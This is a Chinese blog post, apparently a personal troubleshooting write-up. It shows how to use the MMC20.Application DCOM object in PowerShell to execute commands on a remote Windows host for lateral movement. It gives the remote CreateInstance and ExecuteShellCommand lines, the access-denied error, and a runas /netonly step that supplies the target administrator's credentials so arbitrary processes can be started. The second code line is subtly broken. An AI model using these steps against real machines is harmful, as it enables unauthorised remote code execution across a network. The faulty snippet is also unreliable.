MMC20.Application远程创建DCOM对象，拒绝访问0x80070005

关注

原创最新推荐文章于 2026-10-16 11:13:30 发布 2.5k 阅读 AI 写同款· GEO 优化 ›

【网络安全】企业内网中的横向移动横向移动，是攻击者侵入企业系统时，获取相关权限及重要数据的常见攻击手法。了解横向移动的原理有助于个人和企业更好地维护网络安全。中安网星特此推出了横向移动科普系列，本系列共有三篇文章，我们会以简单轻松的话语为大家讲解横向移动的内容。近年来，随着网络攻击、勒索事件频发，企业安全防护需求迅速上升，传统安全防护中以密码和权限管理为核心的单一防护模式愈发不能满足目前的网络安全环境。因而，深入了解攻击思路，“对症下药”，是目前网络安全行业发展的重要方向。本篇文章将就“横向移动”这一典型攻击行为进行简单阐述，从攻击阅读详情

关于利用MMC20这个DCOM对象启动进程的方法，网上已经有不少文章了。

我在测试在远程目标机器上创建MMC20对象时，始终提示0x8007005错误

PS测试代码：

$com = [Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.198.133"));
$com = Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\Calc.exe","0","0","0")

在攻击者机器上打开powershell输入上面命令，提示没权限激活远程dcom对象

使用“1”个参数调用“CreateInstance”时发生异常:“从计算机 192.168.198.133 中在 COM 类工厂内检索 CLSID 为 {49B2791A-B1AE-4C90-9B8E-E860BA07F889} 的远程组件失败，原因是出现以下错误:
 80070005 192.168.198.133。”
所在位置 行:1 字符: 1
+ $com = [Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.A ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : UnauthorizedAccessException

虽然知道出错原因，需要在执行命令时，带入目标机器的管理员用户凭证；

最终通过runas命令解决了这个问题，具体步骤如下：

首先在攻击者机器上，打开cmd，输入以下命令：

runas /netonly /user:victim\administrator powershell

参数解释：

victim为目标机器的电脑名称
administrator为目标机器的管理员用户

然后根据提示输入目标机器administrator管理员用户的密码；

随后会在攻击者机器上弹出一个powershell窗口，这个powershell控制台默认是带了凭证的，在这个窗口执行前面的ps代码，就可以在目标机器上创建任意进程了；

参考资料：

https://github.com/SecureAuthCorp/impacket/blob/master/examples/dcomexec.py
http://talvinen.hatenablog.com/entry/2017/01/10/204132
https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P3-Exploitation.html
https://www.anquanke.com/post/id/215960
https://www.blackhat.com/eu-18/briefings/schedule/#network-defender-archeology-an-nsm-case-study-in-lateral-movement-with-dcom-12534